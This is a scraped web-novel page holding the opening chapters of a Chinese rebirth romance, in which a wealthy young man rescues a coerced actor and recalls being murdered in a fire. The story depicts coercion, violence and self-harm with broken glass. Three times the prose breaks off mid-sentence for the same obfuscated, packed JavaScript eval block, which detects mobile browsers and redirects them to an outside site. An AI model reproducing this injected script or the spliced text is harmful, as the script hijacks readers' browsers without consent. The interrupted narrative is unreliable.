《招惹阴湿病美人后[重生]》 1. 救赎 包厢紧闭着的门里,隐约传出了模模糊糊的声音。 “季修岚,我没想到你还真是软硬不吃啊。” 赵易微微停顿片刻,紧接着笑了:“看来你今天是打定主意要跟我们作对了?” 他的声音里带着满满的恶意。 宋宴正准备推门的手一顿,眯了眯眼睛,放轻呼吸微微侧头靠近包厢门。 动作之间,男生耳垂上缀着的精致黑色碎钻晃了一瞬。 “说点实际的,你姥姥刚刚因为脑梗住院了吧。” 陈总将话茬接了过去,表面上是在打圆场,实际姿态却带着居高临下的压迫感:“在医院一天就得这个数,你光靠自己根本不可能负担得起。” “昨天,医院又在催你交钱了吧。” “只要你听话,我们不会为难你。签了合同,你之前的片酬今晚就能到账。” “别说你姥姥的病了,大富大贵的好日子都还在后头,年轻人眼光放长远些,其他人想要这种机会都得不来——你又何必跟我们犯倔呢?” “我不签。” 片刻沉默过后,季修岚的声音响起。 少年的声音很轻但是却异常清晰,带着一种近乎脆弱的固执。 “不签?” 赵易似乎被他油盐不进的样子惹怒了:“跟我拿乔?你他妈以为自己是谁啊!娱乐圈里像你这样的小玩意儿,我一只手都能捏死十个!” 他顿了顿,语气愈发恶劣:“你知道去年那个林艺芸吗?她也跟你一样不识抬举,老子把合同放她脸上都不签。” “后来呢,我放话让她在整个京市都找不到工作,那女的现在还只能在老家打点零工赚钱——她妈死了有七八个月了吧,听说那时候欠的债,到现在都没还清。” “你也想走她的老路?” 玻璃杯底重重磕在桌面,发出“咚”地一声闷响。 宋宴微微睁大眼睛,怒火一瞬间窜上头顶。 他记得这个女孩,上过选秀节目,跳舞非常优秀,只是后来就逐渐销声匿迹了。 娱乐圈这种渐渐埋没了的新秀太多,所以他也没多注意,没想到居然是因为拒绝潜规则被赵易雪藏了! “今天这字你签也得签,不签——” 陈总的声音陡然转冷:“我保证,全市没有一家医院敢留下你姥姥。而你,这辈子别想再找到任何工作!” 男生的唇因愤怒而抿成了一条直线。 就在这时,服务生推着推车路过,刚要开口询问,却在看到宋宴的动作时瞬间噤声。 只见宋宴缓缓竖起一根食指抵在唇边,比了个“嘘”的手势。 男生微微偏着头,那双漂亮得近乎锐利的眼睛微微眯起,隐约蕴含着几分怒意。 昏暗的灯光投射在他的侧脸上,将他昳丽的脸愈发勾勒得棱角分明,如同一朵带刺的小玫瑰。 在这种高档会所待久了,服务员自然知道什么人可以惹,什么人是不能惹的。 因为宋宴周身的气场,他下意识后退半步,点点头后匆忙离开。 包厢里传来衣料摩擦的细响。 “按住他,”赵易的声音里透出不耐烦,“手按在合同上,总能采到指纹。” “放开我!” 听到季修岚求救的声音,宋宴眼神一凛。 下一秒,他抬腿猛地踹向门板—— “砰!” 一声巨响,门板狠狠砸在墙上,发出震耳欲聋的闷响,震得屋内的水晶吊灯都在晃动。 包厢内所有人动作僵住,齐齐看向门口。 逆光下,一道修长的身影立在门框中间。 男生简单的黑色机车外套搭着白色卫衣和浅蓝牛仔裤,却被他穿出了青春电影里校园男主的味道。 微卷的头发垂在耳侧,单只耳垂上缀了一颗黑色的钻,眼睛微微眯起,睫毛又长又翘,在眼下投射出一小片阴影,皮肤白得几乎发光。 走廊的光从他身后倾泻,勾勒出利落的身形轮廓,从这个角度看去,他连头发丝都在发光。 整个人漂亮得要命。 他缓缓收回腿,黑色短靴踩在地毯上,没发出半点声音。 包厢的空气,在他踏入的那一刻骤然凝固了起来。 宋宴抬眸视线扫过所有人,却在看到季修岚的那一刻停顿,瞳孔微颤。 记忆中善良柔软的人被按在沙发角落,衬衫领口都被扯开一道裂痕,露出清瘦的锁骨和一片苍白的皮肤,被架住的腕骨细伶伶一截,好像稍一用力就会被折断。 他脸上连一点血色都没有,嘴唇紧抿,下唇都被咬出了细小的伤口。 那双本该清冷漂亮的眸子此刻氤满屈辱的雾气,却在跟门口的人视线相接的一刻,瞳孔几不可察地收缩了一下。 那泛红的眸子就好像溺水的人抓住了唯一的浮木。 他怎么这么狼狈? 宋宴只感觉心口像被什么刺了一下。 “放开他。” 男生的声音不高,却让按着季修岚的两个男人下意识松了手。 宋宴几步走进包厢,径直到他面前,脱下了自己的黑色机车外套,旁若无人地披在对方身上。 动作之间,男生微凉的手指不小心蹭过季修岚温暖的后颈,让他轻轻一颤,下意识抓住了宋宴的手。 宋宴这时候才发现,对方此时整个人都在无意识地颤抖着。 “冷?” 宋宴弯下腰冲季修岚轻轻眨了眨眼睛,眸子亮晶晶的。 季修岚默不作声地摇摇头,松开握住宋宴的手,无意识地攥紧了披在身上的外套。 周身是好闻的甜橙气息,他好像想把整个人都包裹进宋宴的温度里。 “哪来的野狗乱咬人!” 赵易终于从震惊中回过神,脸上的横肉因愤怒而抖动:“保安!叫保安——” 话音未落,宋宴转身就是一记漂亮的下勾拳。 耳边风声刮过,赵易脸上火辣辣生疼,脸都被打歪到了一遍! “嘴巴放干净。” 宋宴揉了揉手腕,眉头皱起:“不然下次丢的就不只是你的脸了。” 赵易不敢置信地瞪大眼睛:“你他妈敢打我!” “你知道我是谁吗?我——” “我知道啊。” 在这样剑拔弩张的情况下,宋宴居然嘲讽地勾唇冷笑了一声。 “赵易,你今年四十七了吧,表面上是光鲜亮丽的导演,实际名下有三家空壳公司,设法偷税漏税了几千万。” “如果我没记错的话,光是这个月,你手下就有三个艺人得了抑郁症,去年跳楼的冯添,明面上说是因为工作压力大,实际上也跟你脱不了关系吧。” 宋宴微微抬起下巴看向他,在提到他做过的恶行时眼神骤然转冷:“今天你们找到季修岚,又想逼他签什么合同?” 赵易的表情瞬间白了下来。 在娱乐圈摸爬滚打了这么久,他自以为那些事做得隐秘,没想到居然就被这样一个毛头小子明明白白揭了短? 眼看着事情发展得有些不可控制,一直没说话的陈总终于站起身。 他用眼神阴沉地打量宋宴:“这位朋友,有话好说,这是我们和小季的事,你没必要插手。” “他是我的人。” 宋宴回头看向陈总,微微眯起眼睛,一字一顿道:“你们敢动他一下试试?” 男生尾音扬起,宣示主权般的几个字掷地有声。 沙发上的季修岚猝然抬眸。 陈总眼神闪烁:“你的人?他可从来都没跟我们介绍过你啊。” “那你现在听说了。” 宋宴走到茶几前,拿起那份合同随意翻了翻,随即轻嗤一声:“十年约,一九分成,违约金五千万……这种垃圾也配叫合同?” 说完,他将手中的合同随手一抛,纸张如同雪片般散落一地。 “小子,你别太狂了。” 看到他这样带着侮辱性的动作,陈总脸色又黑了一层。 他平日里出门也都是前呼后拥的人物,何曾被人这样对待过。 他眯起眼睛:“在这个圈子里,有些人是不能得罪的。今天你走出这道门,我保证——” “保证什么?” 宋宴向前走了一步,黑色靴子踏在合同上,留下一道鞋印。 他有些不耐烦地将地下的纸随意踢开,反问:“保证让医院拒收他姥姥?保证让他前途尽毁?” “你那家医疗公司,上个月刚被查出三批货有质量问题,举报材料应该还在监管部门抽屉里吧?如果这件事曝光,这个陈总的名头,你觉得你还能坐多久?” “哦对了,”宋宴微微歪头,唇角勾起了一个散漫的弧度,“为了下一部电影能顺利开拍,你们刚刚才求了宋凛川的助理,想跟宋氏合作,对吧。” 听到他这么说,两人脸色彻底变了。 宋凛川,宋氏集团的接班人。 这是京市近几十年迅速崛起的商业新贵,商业版图覆盖几十个领域,娱乐圈只是宋氏这个庞大的公司里很小的一部分。 他们二人一起动用了所有关系,才好不容易要到了宋凛川助理的私人联系方式,试图找机会拉到宋氏的投资。 他怎么会连这种隐秘的事情都知道,再加上这种熟悉的语气…… 面前这个疯子——他难道认识宋凛川? 宋宴嗤笑一声不再看他们,拿出手机在两人惊疑不定的目光下拨通了一个号码。 等待接通的几秒钟里,宋宴的视线落在季修岚身上。 那人蜷在沙发角落,披着他的外套,安静得仿佛是易碎的瓷器,一如自己重生前。 但是他记得,前世的那场大火里—— 宋宴被困在酒店的房间里,门被人从外锁死,身后则是肆虐的火焰以及恐怖的热浪。 他本以为自己会孤独地死在那里。 “砰!” 就在他最绝望的时候,被关得死死的门忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199342|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被撞开,发出剧烈声响。 新鲜空气骤然涌入,随之而来的是一股浅淡好闻的皂角淡香,宋宴半昏迷中无意识动了动鼻子,不知道是不是幻觉,只感觉闻到了冷清的薄荷味。 明明这气味中裹挟着一股拒人于千里之外的霜雪般的寒意,此时却让宋宴仿佛抓住了救命稻草般,迷迷糊糊地抬头向上看去。 “谁?” 他的耳边嗡嗡地轰鸣着,如同老旧电视机出现的底噪。 宋宴听不清楚周围的声音,却忽然感觉灼痛的指尖被轻轻碰了一下,紧接着不顾火焰滚烫的温度,义无反顾地将他整只手包裹在了手心里。 指尖相触的一瞬,那丝丝的凉意顺着肌肤传递了过来,连骨缝都被浸润了整个透。 “醒醒宋宴!你怎么样?” 大约是发现了男生状态不对,那人蹲下身,在宋宴耳边问。 这声音极其清冷好听,仿佛玉石一般,却因急切而丧失了平日里的从容,紧绷到极致,竟微微有些颤抖。 是谁? 宋宴使劲抬起千钧重的眼皮—— 视线里,模糊地出现了一道瘦而苍白的身影。 那人长得好看却不阴柔。大约是身体不好,浑身上下都流露着一股病气,说话间忍不住咳嗽着。 但那一双眼睛黑白分明,及肩的墨发被随意绑住,皮肤仿佛白釉冷瓷,凝了一身的寒意,脸因为气喘而发红,总算有了几分人气。 方才那股好闻的清冷皂角香就是从他身上散发出来的,挨得近了,竟连火焰的温度都退去些许。 “咳咳……” 浓重的烟雾让季修岚几乎说不出一句完整的话:“不能睡,再坚持坚持,咳咳……我带你出去。” 可惜精神强撑到现在,已然到了强弩之末。 就连疼痛感都因变得迟钝的神经而变得很弱了,宋宴小口小口地喘着气,靠在墙边轻轻打着哆嗦。 “我……我坚持不住了。” 男生柔软的嗓音里带上了几分沙哑,压抑不住的颤抖从唇齿间吐露,脆弱得仿佛精致易碎的瓷器。 痛苦到极致,只要意识清醒着就是一种酷刑。 生命摇摇欲坠。 说完,宋宴又靠着休息了两秒。 等重新攒起一点点精神,宋宴才又撑起眼睛看向眼前的人,努力想认真地看清这张面容。 明明呼吸越来越困难,但宋宴还是强打起精神,仿佛梦呓般从唇齿间挤出了最后一句话。 “谢谢你来救我。” 一瞬间,无形中滴答行走的秒表凝固,“哗啦”一声表盘破碎,碎片缓缓悬浮在空气中。 周围那火焰的温度如同潮水般退去,耳边嗡嗡的轰鸣让宋宴再也无法听到任何的其他声音,疼痛逐渐消失。 好困…… 宋宴感觉自己的灵魂好像在不断上升,又仿佛飘飘然地躺在一个很舒服的地方 紧闭的眼角坠下一颗泪珠,在脏污的脸侧晕开,融化在那人指尖。 在彻底失去意识前,他隐约听到了一声压抑到极致、仿佛从破碎的胸腔里挤出来的带着血腥气的低声呢喃。 “……怎么办,宋宴。” 季修岚的嗓音响起在火焰安静燃烧的房间里,比起刚刚的焦急,此时的他平静到了一种有些瘆人的地步。 “你要把我逼疯了。” 那声音轻得近乎耳语,却又吞下了一种近乎毁灭的疯狂。 我恨你。 ……恨你明月高悬,为何独不照我。 …… …… …… 后面的事情,宋宴如同走马观花般看完了全程。 他知道在自己死后,季修岚也住了院,但此时的他也已经疾病缠身,没过多久就离开了人世。 既然上天给了他一次重来的机会,那么这一次,宋宴一定不会再让季修岚落入曾经的深渊当中。 片刻之后,电话接通了。 对面传来了一个有些冷淡的男声:“喂?” “哥哥。” 因为电话里是自己熟稔的亲人,所以方才还有些炸毛的小男生瞬间像是被捋平了棱角一样,连嗓音里都带上了几分轻快的柔软笑意。 “我在你城南的会所,嗯对,遇到了一点点小麻烦。” 这副娇气的模样跟刚刚的大杀四方简直反差太大,以至于屋子里几个人都睁大了眼睛看向他,仿佛不认识这个人一样。 小男生靠着墙单手插兜,嗓音漫不经心。 他垂眸看着旁边的赵易和陈总,微微挑眉,眼神戏谑,就仿佛一只猫在逗弄到手的猎物。 嘴上却还在不轻不重地跟家里的长辈撒着娇,语气好像自己受了天大的委屈一样。 “嗯?我把你准备投资的那个大导演揍了一顿——” “你管不管嘛。” 角落里,季修岚抬眸。 他的瞳孔很黑,里面一点光都没有,仿佛要将周围的一切都吸进去。 2. 玻璃 不知道电话那头的人说了什么,宋宴原本皱起的眉渐渐舒展开。 男生唇角弯起一个细微的弧度,像只被顺毛捋舒服了的猫,嗓音愈发软了下来:“嗯嗯,那你快来。” 电话刚挂断,走廊里就传来了急促的脚步声。 “哎呀我的小少爷,您来怎么也不提前说一声?” 王经理几乎是跑着过来的,此时额角上已经冒了两滴汗:“这儿乱,先去我那坐坐?” 完了。 城南会所是宋家的产业,平时就连这王经理都是眼高于顶拿鼻孔看人的主。 他们虽然自诩也是个小老板,但就因为不敢得罪宋家的人,每次来城南会所,对这个王经理都得是恭恭敬敬陪着笑。 如今看到他这样的态度,赵易脸色“唰”一下变得惨白,整个人瘫坐在了椅子上。 这人居然是宋家那个传闻中的小少爷? 之前,他也隐约听过宋家的小少爷闹着要进娱乐圈,因为这件事几乎跟家里决裂,甚至宋家的老爷子嫌丢人,还放了狠话要跟他断绝关系。 但眼看看他跟宋凛川恃宠而骄的样子,分明还是家里金娇玉贵捧在手心里护着的小少爷。 “老王啊。” 宋宴没接他的话茬,只是抱着胸微微挑眉:“有些人在我哥哥的会所里做这些见不得人的事,你是一点都不知道?” 男生微微挑起尖细的下巴,举手投足都透露着一种高贵优雅的姿态。 话音刚落,王经理就感觉背后一凉,额头上的冷汗瞬间滑落了下来。 做着这种大型会所的生意,他知道自己这当然不可能干干净净,因此平时睁一只眼闭一只眼也就罢了。 谁能想这群人居然这么无法无天,还偏偏被这小少爷撞见了。 这可真不是个好惹的主。 王经理在心里倒吸了一口凉气,嘴上唯唯诺诺道:“对不起,这我是真没料到……” “行了。” 宋宴懒得再听下去,朝他摆摆手:“我就在这坐会儿。” 他的神色让人看不出喜怒,但却让王经理心里愈发没底。 要是这小少爷当场发顿脾气都还算好的,现在这样一言不发,他也不知道对方是什么意思,心里一直在发慌。 说完,宋宴连看都没看王经理一眼。 他转身走回沙发,很自然地在季修岚身边坐下。 会所包厢里柔软的沙发随着他的体重微微下陷。 两人的距离瞬间拉近,方才衣服上那股淡得不能再淡的甜橙气息此时稍微浓郁了一些,悄悄钻进季修岚的鼻腔当中。 季修岚微微侧头看向宋宴,漆黑的眸子微微波动了一下。 从这个角度看去,他能看到宋宴清瘦的下颌,再向上是被灯光映照得有些柔软的唇,长长的如同鸦翅一样的睫毛微敛,在眼下投射出一小片阴影。 因为将黑色的机车外套脱给了自己,宋宴此时只穿了那件宽松的白色卫衣,那衣服领口有些宽松,从他的角度看去,隐约能看到里面清瘦精致的锁骨。 男生就用一个随意的姿势仰躺在沙发上,拿出手机似乎在回什么消息,纤长的手指在屏幕上飞快地敲打。 一看就是被宠着长大的,在这样一个陌生的地方,他也能自在地像在家里一样。 “嗯?” 察觉到旁边少年的目光,宋宴偏过头,用鼻音轻轻哼了一句。 “怎么了?” 这时候他才看清,季修岚的脸色白得吓人。 他忽然反应过来,方才男生一直都垂着眼,安静得有些过分了。 宋宴转而想起了些什么,小声问他:“你饿不饿?” 季修岚下意识咬了一下干燥的嘴唇,然后摇摇头。 他的动作很轻,带着一种虚弱的迟缓。 宋宴却径直将手伸进季他刚刚给季修岚披上的黑色机车外套的口袋里面摸了摸。 这外套一看就是按照宋宴的审美来的,完全就是酷哥的设计,浑身上下挂了一堆的银链子,动作之间发出了“叮叮当当”的声音。 季修岚有些不安地动了动,似乎是这样突如其来有些亲密的动作让他无所适从。 他下意识想躲开然后把身上披着的那衣服脱下,宋宴已经把手抽了出来。 在他的手心里,躺着一枚水果糖。 宋宴顺手把糖纸剥开递到季修岚面前:“先吃颗糖垫垫,一会带你去吃点好的。” 他这样过于自然的动作让季修岚怔了一下。 季修岚定定地看着宋宴干净的眼睛,又低下头。 面前的手修长白皙,指尖捻着那块橙色的糖。 犹豫了一瞬,季修岚不动声色把衣袖里的手往身后藏了藏。 然后他低下头,就着宋宴的手,将糖含进了嘴里。 舌尖抵上糖块的瞬间,甜味化开,带着微微的酸涩,伴随着血腥味在口腔里面弥漫开来。 柔软的触感在敏感的指尖一触即分。 宋宴愣了一下。 他本意就是递给季修岚,没想到对方会直接从他手上吃。 他无意识地捻了捻手指。 ……也行。 “谢谢。” 季修岚垂眸轻声说道。 他的声音不知道为什么有些轻飘飘的,带着浓重的疲惫。 大概是因为糖块在口腔里滚动,所以嗓音含混不清。 是被吓到了吗? 不知道是不是宋宴的错觉,他感觉季修岚比刚刚更虚弱了一些。 少年眼睛半合着,呼吸都变得有些浅。 他的额角渗出了细密的冷汗,在灯光下泛着湿漉漉的光。 宋宴还没来得及再说些什么—— 忽然,听到了包厢门打开的声音,宋宴抬眼看向门口,眼睛倏地亮了起来。 “哥哥!” 方才还冷静地照顾人的小男生,此时整个人像只小鸟一样雀跃地从沙发上弹起来,几步就扑进了刚进门那人的怀里。 “你怎么来得这么快!” 他的声音里带着毫不掩饰的欣喜和依赖。 男生仰起脸,半开玩笑半认真笑嘻嘻地问宋凛川:“是不是担心我?” 季修岚坐在原地,微微抬眸,眼神沉静得仿佛一潭水。 宋凛川是个高大且俊朗的男人,他穿着一套剪裁得体的长款灰色风衣,眉眼冷峻,气质沉肃,只有在低头看到宋宴时,他的眼底才掠过一丝很淡的笑意。 他抬手自然地揉了揉宋宴的头发,语气亲昵地就像哄小孩:“知道会让哥哥担心,你还干这种事?” “这次是在自家会所,下次呢?” 说完,宋凛川轻轻拍了拍宋宴的脸颊。 “以后不许这样了——说吧,这次谁又惹你了?” 宋宴嘴上“嗯嗯嗯”答应着,用眼神示意了一下旁边的几个人。 宋凛川的目光随着他扫了过去。 只淡淡的一眼,就让旁边的几个中年人面如死灰。 他们求都求不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199343|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来见一面的宋凛川,就因为少年的一个电话,风尘仆仆地从公司赶了过来。 宋凛川懒得再多说一个字,只侧头对身后的助理淡淡道:“处理干净。” “是,宋总。” 助理应声上前,显然早就已经对这样的情况得心应手。 宋宴清楚,只要哥哥一插手,所有事都会处理好。 不止赵易和陈总会受到应有的惩罚,就连失职的王经理,也会彻底离开城南会所。 他哥哥做事从来不会心慈手软。 上一世如果不是因为车祸…… 那顿时间他本来正在跟家里吵架,却忽然得知了哥哥的死讯,一瞬间万念俱灰,如遭雷劈。 想起那段时间的迷茫和绝望,宋宴呼吸一滞,心里的酸痛弥漫开。 既然能够拥有重活一次的机会,那他绝不会允许之前的事情发生。 宋宴眨了眨眼睛,强行把眼睛里的泪意逼了回去。 宋凛川收回视线,抬手看了眼手腕上的表。 “还没吃饭吧?陪哥哥去吃顿饭。” “好啊。” 宋宴点头,又忽然想起什么似的,转头看向沙发:“哥哥,我们把他也带上吧。” 他抬手,指了指角落的季修岚。 苍白的少年低着头,坐在光影交界处,安静内敛得像一道影子。 “今晚这些事,就是因他而起?” 宋凛川的目光落在季修岚身上,眼神冷淡中带着审视,眉头几不可察地蹙了一下。 “对啊。” 宋宴倒是不怕他哥哥,回答得坦坦荡荡。 说完,男生又伸手轻轻拽了拽哥哥的袖口,嗓音熟稔地软了下来:“哎呀别在这儿审人了,先去吃饭嘛,我想吃你上次说的那家日料。” 大概男生自己也没意识到,在跟哥哥说话的时候,他语气当中的亲昵好像要溢出来似的。 宋凛川看了宋宴两秒,终于还是在弟弟的眼神中妥协下来。 “行,走吧。” “走,我们先离开这。” 季修岚的面前审过来了一只手。 那只手干净,温暖,掌心纹路干净,在灯光下微微泛着润泽的光。 他犹豫了一下,然后缓缓抬手,似乎是想自己撑着沙发站起来。 但是就在他的指尖即将碰到沙发扶手的瞬间—— 宋宴看见季修岚的身体忽然轻微地摇晃了一下。 像是突然失去了平衡,紧接着那双鸦翅一般的睫毛颤了颤,然后整个人像是被抽走了所有力气,软软地向前倒了下来。 “喂,你怎么了?” 宋宴脑子一空,下意识张开手臂接住了他。 好轻。 这是宋宴的第一个念头。 身上的人冰凉得可怕,明明室内都有空调,但他的体温却低得有些不正常,就算是隔着衣服都能感受到那股令人惊心的寒意。 “哥!” 宋宴下意识想喊宋凛川来帮忙,紧接着就感到一种温热、黏腻的触感从掌心传来。 是血。 好多血! “叮。” 就在这时,空气中传来了一声很轻,却非常清晰的脆响。 有什么从季修岚脱力松开的指尖滑落,落在光洁的大理石地面上滚了两圈,停在了宋宴脚边。 那东西边缘锋利,沾染上了半干的血迹,在灯光下泛着暗红色的光泽—— 是他不知道什么时候藏在手心里的一片碎玻璃。 3. 消失 医院病房里,天花板的灯泛着冷白色的光泽。 宋凛川站在病房门口,剪裁得体的黑色长风衣衬得他身形挺拔。 但是他的眉宇之间已经不自主流露出了几分疲态。 他抬手捏了捏高挺的鼻梁,视线在病床上昏睡的季修岚身上停留了片刻,又看向身边的弟弟。 “小宴。” 他并没有刻意压低声音,反而因为疲惫而显得有些冷淡。 这种语气宋宴很熟悉。 每次哥哥用这种调子说话,就意味着接下来的对话不会很轻松。 “你交朋友,哥哥从不会拦你,但在这件事上,我和爸妈的意见是一样的。” 宋凛川的目光落在弟弟微卷蓬松的发顶上。 顿了顿,他的嗓音在面积不大的病房里显得尤其清晰。 “我们都不希望你和不三不四的人来往。” 宋宴抿了抿唇,把手揣进卫衣的口袋里。 他知道哥哥在说什么。 上一世他就是蠢到家了,为了男朋友顾知远跟家里吵得天翻地覆,最后才会落得那样凄惨的下场。 先是哥哥因为车祸去世,家里的产业也因此而七零八落,到最后父亲重病住院,养尊处优的母亲也一夜之间老了十岁。 而他接到家里的电话的时候,还在闹别扭。 到最后烈火焚身,他才知道自己有多辜负那些爱自己的人。 而且,顾知远的恶心之处不止于此。 那场火灾不是意外。 火刚烧起来时,正在拼命想办法求救的宋宴,隐约听到了走廊外有人在低声交代。 “对,顾先生,事情都办妥了,我确定他在里面。” “好的,我会把火势弄大一些,一点痕迹都不会留下。” 他的死跟顾知远有关系。 重生后的第一个夜晚,宋宴又梦到了那场火灾。 他在冷汗中惊醒,整个人痉挛着蜷缩在被子里,被那无尽的痛苦与绝望吞没。 也是在那个时候,宋宴打定了注意。 他不打算就那么简单地跟顾知远分手。 不直接撕破脸可以让他更快地搜集到顾知远犯罪的证据。 他要活下来保护好身边的人,也要顾知远付出代价。 血债血偿。 “我知道。” 往日骄纵的小少爷此时低下头,声音很轻,带着认错的柔软:“对不起,哥哥。” “之前因为顾知远跟你们吵架是我的问题……我会把他处理好的。” 宋凛川微微挑眉,有些意外地看着弟弟。 宋宴从小被宠着长大,之前做什么都是按照自己的心意来,为了跟顾知远谈恋爱更是前半个月还闹得家里鸡犬不宁,从没有过这么干脆认错的时候。 “至于季修岚……” 宋宴顿了一下,眼睛看向病床上躺着的少年。 少年瘦得好像一张纸,细瘦的腕骨露在被子外面,苍白的手背上输着营养液。 长长的睫毛在他的眼下投射出一小片阴影,这个人安静得仿佛没有呼吸一般。 怎么看都是一副让人心疼的模样。 其实就算是前世,他们也不算熟。 宋宴只是有时候参加活动的时候会见到这个人,他很多时候都像一个影子,沉默地一个人待着。 他只记得,这个男生的眸子里好像总是带着浓得化不开的夜色。 对比起重生,宋宴感觉自己更像是觉醒了某种自我意识。 就好像他们都生活在一本小说里面,而这本小说里,季修岚是主角,因此他才会在死后用季修岚的视角看完了对方凄惨的一生。 就跟很多狗血小说的主角一样,季修岚是一个从小就爹不疼娘不爱被慈祥善良的姥姥抚养长大的私生子。 十几岁的季修岚一边读书一边在剧组兼职当群演零零散散赚点钱,好在他智商非常高,不仅过目不忘而且学习能力极强,因此即使没什么时间,他的成绩仍然极其优秀,是市一中的尖子学生。 虽然出身卑微,但他本来也是有极其广阔远大的未来的。 如果不是因为那张过于出众的脸把那群疯子吸引来了的话。 在宋宴的视角里,季修岚被无数疯子痴迷纠缠,他们都是一群位高权重手段狠辣的富二代,不择手段只为能得到季修岚,却从没有考虑过他本人的意愿。 他们既要他眼里只有自己,又放不下天之骄子的骄傲,一边吃醋一边发疯,最终把如此优秀的一个人逼到了绝路。 就因为他们,季修岚不仅连高考都没有去成,而且还签了无良公司的卖身契,手里拿不到钱,连疼爱他的姥姥也去世了。 到最后,季修岚穷困潦倒万念俱灰,积郁成疾带着病痛在医院里死去。 以旁观者视角看完全程,宋宴只觉得心口闷闷地发堵。 他甚至不敢想火海里不顾一切冲进来救他出去的季修岚,跟那个最终在孤独和绝望中死去的季修岚,居然是同一个人。 他明明那么好。 “他不是你想的那种人。” 听到哥哥怀疑他,宋宴连忙想帮他辩解。 “哦?” 宋凛川微微眯起眼睛。 很显然,他完全不信。 他昏迷是因为用手里藏着的玻璃碎片把自己划得鲜血淋漓,就算是因为被对方下药了想用这种方式保持清醒,这种做法也简直跟疯子没什么区别。 更何况…… 他侧头看向病床上的季修岚,目光深邃。 这人让他感觉很不舒服,这种感觉甚至比之前的顾知远更甚。 就好像平静水面下蛰伏着的暗流,随时有可能掀起巨浪。 不过他也了解弟弟的脾气,因此换了一种方式。 宋凛川声音放缓:“所以,你为什么要帮他?” “其实也没什么特别的原因。” 宋宴抿了抿唇,把早就准备好的理由拿了出来。 “我最近不是在筹备自己那部戏吗?导演什么的我都找好了,但那个男三号一直都没定下来。” 他抬起眼睛看向哥哥,努力让自己的表情看起来真诚一些。 “所以哥哥,我觉得这人是个可塑之才,我想把他签下来。” “他让你心疼了?” 宋凛川比宋宴高出半个头,此时他微微俯身,目光锐利。 “嗯嗯!” 宋宴连忙点头答应。 下一秒,一只温暖的手落在他的发顶,轻轻揉了揉。 宋凛川笑了,但是笑意未达眼底:“小宴,你是不是当我这个哥哥白当的。” “要是连你是不是在说谎都看不出来,这么多年也不用你喊我一声哥哥了。” 宋宴后背瞬间冒出冷汗。 上位者的气质是藏不住的,在哥哥的目光下,他感觉自己的所有谎言都无处遁形。 更重要的是,他又说谎了。 明明想好了重生之后不再惹哥哥生气的…… 但是这个理由……让他怎么说得出口? 说自己重生了,季修岚是自己前世的救命恩人? 哥哥估计会直接把他送进精神病院吧。 宋宴低下头,嗫嚅着说:“哥哥,我……” 发顶又被轻轻揉了揉。 宋凛川的手一路向下,轻轻捏了一下宋宴的耳垂,紧接着落在了宋宴的肩膀上。 他微微低下头,就着这个姿势与宋宴平视。 “小宴,你不说,哥哥不会勉强你的。” 他的语气不重,却带着不容置疑的力度:“但不要跟哥哥说谎。” 说着,他直起身。 “至于季修岚的事,你可以自己决定,但公司那边要按正常流程走。” 宋宴眼睛一亮:“谢谢哥哥!” “那我周末回家一趟,跟爸爸妈妈好好道个歉。” “行。” 宋凛川抬手看了一眼腕表。 “我先回去了。” 他转身走向门口,脚步却在门边顿住了。 他回头,深深地看了病床一眼。 被弟弟带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199344|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来的那个少年依然安静得躺着,呼吸平稳。 宋凛川的眉头几不可察地皱了一下,然后推门离开。 目送着哥哥出门,宋宴松了口气,转身准备去看看季修岚的情况—— 然后,他就对上了一双漆黑的眼睛。 病床上的人不知道什么时候醒了,此时正静静地偏头看着他。 少年的脸色苍白如纸,衬得那双眼睛格外幽深,如同黑曜石沉没在了密林寒潭当中。 被这样盯着,宋宴莫名感觉脊背发凉。 他下意识忽略掉了这种微妙的感觉,快步走上前问。 “醒了?你现在感觉怎么样。” 季修岚沉默着没说话,只是撑着床想坐起来。 他的动作牵扯到了包扎好的右手,纱布下传来清晰的刺痛。 少年眉头极轻地皱了一下,却又像没觉得疼一样,执拗地想坐起身来。 “哎你别动啊!” 宋宴连忙按住他的手,顺势扶着他坐起来靠在床上,还安抚性地拍了拍被子:“你这个伤口很深,医生说要静养的。” 季修岚动作顿住,目光转而向下,落在了宋宴按住自己的手上。 那只手白皙干净,指甲修剪得整齐,骨节泛着淡淡的粉色,漂亮得如同一朵含苞的玫瑰。 和他自己藏在被子下的、缠满纱布的手完全不同。 “谢谢。” 他终于开口说话了,嗓音还带着微微的沙哑。 “没事,我去给你倒点水。” 宋宴的视线在他干燥的嘴唇上停留了片刻,不知道为什么咽了一口口水。 不得不承认季修岚被那群疯子痴迷是有理由的。 